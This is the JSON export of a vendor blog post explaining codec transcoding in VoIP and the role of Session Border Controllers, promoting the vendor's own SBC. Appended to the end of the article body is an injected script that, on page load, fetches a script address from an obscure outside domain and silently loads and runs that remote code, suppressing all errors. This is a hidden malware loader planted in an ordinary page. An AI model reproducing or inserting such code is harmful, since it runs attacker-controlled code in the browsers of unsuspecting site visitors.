{"id":1834,"date":"2020-05-15T09:01:20","date_gmt":"2020-05-15T09:01:20","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=1834"},"modified":"2025-09-05T11:35:12","modified_gmt":"2025-09-05T11:35:12","slug":"transcoding-in-telecom-business","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/telecom\/transcoding-in-telecom-business\/","title":{"rendered":"What is the Role of Transcoding in Telecom Business"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4fcc853ac\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4fcc853ac\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/transcoding-in-telecom-business\/#Transcoding_in_Telecom_Business\" title=\"Transcoding in Telecom Business\">Transcoding in Telecom Business<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/transcoding-in-telecom-business\/#Transcoding_and_SBC\" title=\"Transcoding and SBC\">Transcoding and SBC<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Transcoding_in_Telecom_Business\"><\/span>Transcoding in Telecom Business<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Transcoding in the telecom business is the process of converting the media stream from one codec to another. This is performed in order to bridge differences in\u00a0capabilities between the telecommunications systems\u00a0supporting the caller and the recipients.<\/p>\n<p>There are some\u00a0circumstances when transcoding in the telecom business is very useful. One such situation is when\u00a0the two endpoint devices in a call do not share a\u00a0common codec among their codec sets. Also, if the termination part only supports G.723 codec and the origination end supports G.729 codec then the\u00a0audio in the call would stop working in a direction if the VoIP provider is not transcoding between the codecs.<\/p>\n<p>In the SIP world, a commonplace to perform transcoding is the Session Border Controller (SBC).\u00a0 However, not all SBCs support transcoding. Therefore, it is important to pay attention to which ones do and which does not.<\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transcoding_and_SBC\"><\/span>Transcoding and SBC<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>An SBC or Session Border Controller is a dedicated network element that helps to control real-time communication sessions over SIP-based VoIP infrastructures. SBC not only offers full control of the sessions but also conceals the internal network from outside. While SBC is available in both hardware and software forms, here the focus is on the software version.<\/p>\n<p><a href=\"https:\/\/www.revesoft.com\/products\/reve-session-border-controller\">REVE SBC<\/a> has a built-in capability to handle various codecs and to do automatic transcoding in the telecom business when necessary. It supports transcoding to and from the most popular codecs used in IP telecommunication like G729, G711, AMR etc.<\/p>\n<p>Finally, it is important to consider what you want to transcode to and from.\u00a0 There is plenty of codecs\u00a0present (G.711, G.722, G.723.1, G.726, iLBC, AMR-wb, etc.) and not every SBC will transcode to and from every codec. It is not just enough to ask if an SBC supports transcoding.\u00a0 The important part is to determine the list of codecs it is compatible with and works with smoothly.<script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Transcoding in Telecom Business Transcoding in the telecom business is the process of converting the media stream from one codec to another. This is performed in order to bridge differences in\u00a0capabilities between the telecommunications systems\u00a0supporting the caller and the recipients. There are some\u00a0circumstances when transcoding in the telecom business is very useful. One such situation [&hellip;]<\/p>\n","protected":false},"author":11,"featured_media":1835,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[106],"tags":[],"class_list":["post-1834","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-telecom"],"_links":{"self":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1834","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/comments?post=1834"}],"version-history":[{"count":11,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1834\/revisions"}],"predecessor-version":[{"id":6493,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/posts\/1834\/revisions\/6493"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media\/1835"}],"wp:attachment":[{"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/media?parent=1834"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/categories?post=1834"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.revesoft.com\/blog\/wp-json\/wp\/v2\/tags?post=1834"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}